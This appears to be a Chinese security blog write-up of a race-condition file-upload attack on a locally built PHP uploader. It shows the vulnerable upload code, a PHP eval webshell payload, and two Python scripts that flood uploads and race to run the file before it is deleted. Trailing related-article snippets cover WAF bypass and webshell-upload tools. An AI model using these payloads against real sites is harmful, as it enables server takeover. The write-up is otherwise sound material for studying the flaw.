实战 | 记一次条件竞争文件上传

VSole2023-04-06 09:49:28

一个文件上传点,任意文件上传,此处有源码为本地搭建,首先上传正常图片,上传返回都正常

修改后缀名为 php 页面报出现报错信息但也返回了地址

访问发现只有个 png 头,这里想到报错信息里面也是一些图片操作函数,进行了二次渲染

使用以下项目

https://github.com/gwjczwy/jpg_payload

生成一张图片马

上传后访问也是一样

查看一下源码,核心代码,发现文件是先上传然后在处理,在删除原文件生成新文件

$extend = pathinfo($data['file']['name']);  
    $extend = '.'.strtolower($extend["extension"]);  
    date_default_timezone_set('PRC');
    $imgpath  = $data['img_dir'].'/'.date('Ymdhis', time()).rand(100, 999).'test'.$extend;
    $upload  = move_uploaded_file($data['file']['tmp_name'], $imgpath);
    $imgpath  ="../common/".$imgpath;
    
    if(!$upload){
        echo 'parent.alert("请尝试重新上传!");';exit;
    }else{
        .......
        针对文件处理的代码
        .......
    }

这里的思路是利用程序去发包上传,另一边去访问条件竞争从而绕过,这里用 burp 插件把图片上传包导出成 python requests 代码,随便写了一下就没有加多线程

import requests
try:
    url = "http://xxxxxxx/upload.php"
    cookies = {"PHPSESSID": "1gmkmeqdg9sl8i4crprkm25884"}
    headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"97\", \"Chromium\";v=\"97\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "Origin": "", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarym1ogNWdW0fVSBGcm", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Dest": "iframe", "Referer": "", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9"}
    data = "------WebKitFormBoundarym1ogNWdW0fVSBGcm\rContent-Disposition: form-data; name=\"file\"; filename=\"babyshell.php\"\rContent-Type: image/jpeg\r\r@eval($_GET['id']);\rfile_put_contents('test.php', '');\r?>\r------WebKitFormBoundarym1ogNWdW0fVSBGcm--\r"
    while 1:
        requests.post(url, headers=headers, cookies=cookies, data=data)
except:
    pass

然后在写一个程序去访问

import requests,time,random
while 1:
    time1 = (time.strftime("%M%S", time.localtime()))
    path1 = '2022012405'+time1+str(random.randint(100,110))
    burp0_url = "http://xxxxxxxx/common/upload_img/"+path1+"test.php"
    re1 = requests.get(burp0_url)
    if(re1):
        print('okok')

最后几十秒后访问 test.php 文件发现生成成功

测试执行,也没问题

文件上传data
本作品采用《CC 协议》,转载必须注明作者和本文链接
如果流量都没有经过WAF,WAF当然无法拦截攻击请求。当前多数云WAF架构,例如百度云加速、阿里云盾等,通过更改DNS解析,把流量引入WAF集群,流量经过检测后转发请求到源站。如图,dict.com接入接入WAF后,dict.com的DNS解析结果指向WAF集群,用户的请求将发送给WAF集群,WAF集群经过检测认为非攻击请求再转发给源站。
Bypass安全狗MySQL注入
文件上传数据包解析 文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定 enctype为multipart/from-data才能正常上传文件。 一个正常的文件上传数据包大致如下:
Fuxploider是一种开源渗透测试工具,可自动检测和利用文件上传表单缺陷的过程。该工具能够检测允许上传的文件类型,并能够检测哪种技术最适合在所需的Web服务器上上传Web Shell或任何恶意文件
此时通过对Content-Type进行修改,可能会绕过waf。其他的http头添加删除等也是类似。检测到上传jsp文件,任意内容都会被拦截。先来fuzz一波能利用的后缀名,这里可以包括中间件的一些配置文件。希望不大,一点都不出意外,全部被拦截了。因为最终还是需要免杀马的,jsp免杀又不会,先不考虑这个,先考虑把waf绕过。fuzz本来就是一个天马行空的过程,好了,继续来看。
此时通过对Content-Type进行修改,可能会绕过waf。其他的http头添加删除等也是类似。检测到上传jsp文件,任意内容都会被拦截。先来fuzz一波能利用的后缀名,这里可以包括中间件的一些配置文件。希望不大,一点都不出意外,全部被拦截了。因为最终还是需要免杀马的,jsp免杀又不会,先不考虑这个,先考虑把waf绕过。fuzz本来就是一个天马行空的过程,好了,继续来看。
生成一张图片马上传后访问也是一样查看一下源码,核心代码,发现文件是先上传然后在处理,在删除原文件生成新文件$extend = pathinfo;echo 'parent.alert("请尝试重新上传!这里的思路是利用程序去发包上传,另一边去访问条件竞争从而绕过,这里用 burp 插件把图片上传包导出成 python requests 代码,随便写了一下就没有加多线程import requests. headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"97\", \"Chromium\";v=\"97\"", "Sec-Ch-Ua-Mobile": "?
无意中看到ch1ng师傅的文章觉得很有趣,不得不感叹师傅太厉害了,但我一看那长篇的函数总觉得会有更骚的东西,所幸还真的有,借此机会就发出来一探究竟,同时也不得不感慨下RFC文档的妙处,当然本文针对的技术也仅仅只是在流量层面上waf的绕过。Pre很神奇对吧,当然这不是终点,接下来我们就来一探究竟。前置这里简单说一下师傅的思路部署与处理上传war的servlet是?
上传绕过配合,两个小点,第一个上传点能使用冒号”:”,进行截断,然后上传成功jsp文件,但是缺陷就是,截断后的文件,内容无法post上去,配合第二个上传点,windows下不区分大小写,所以会进行内容覆盖,正好两个上传点配合,使上传点二的内容恰好覆盖到上传点1上传的正常文件里,完美解决上传问题。
VSole
网络安全专家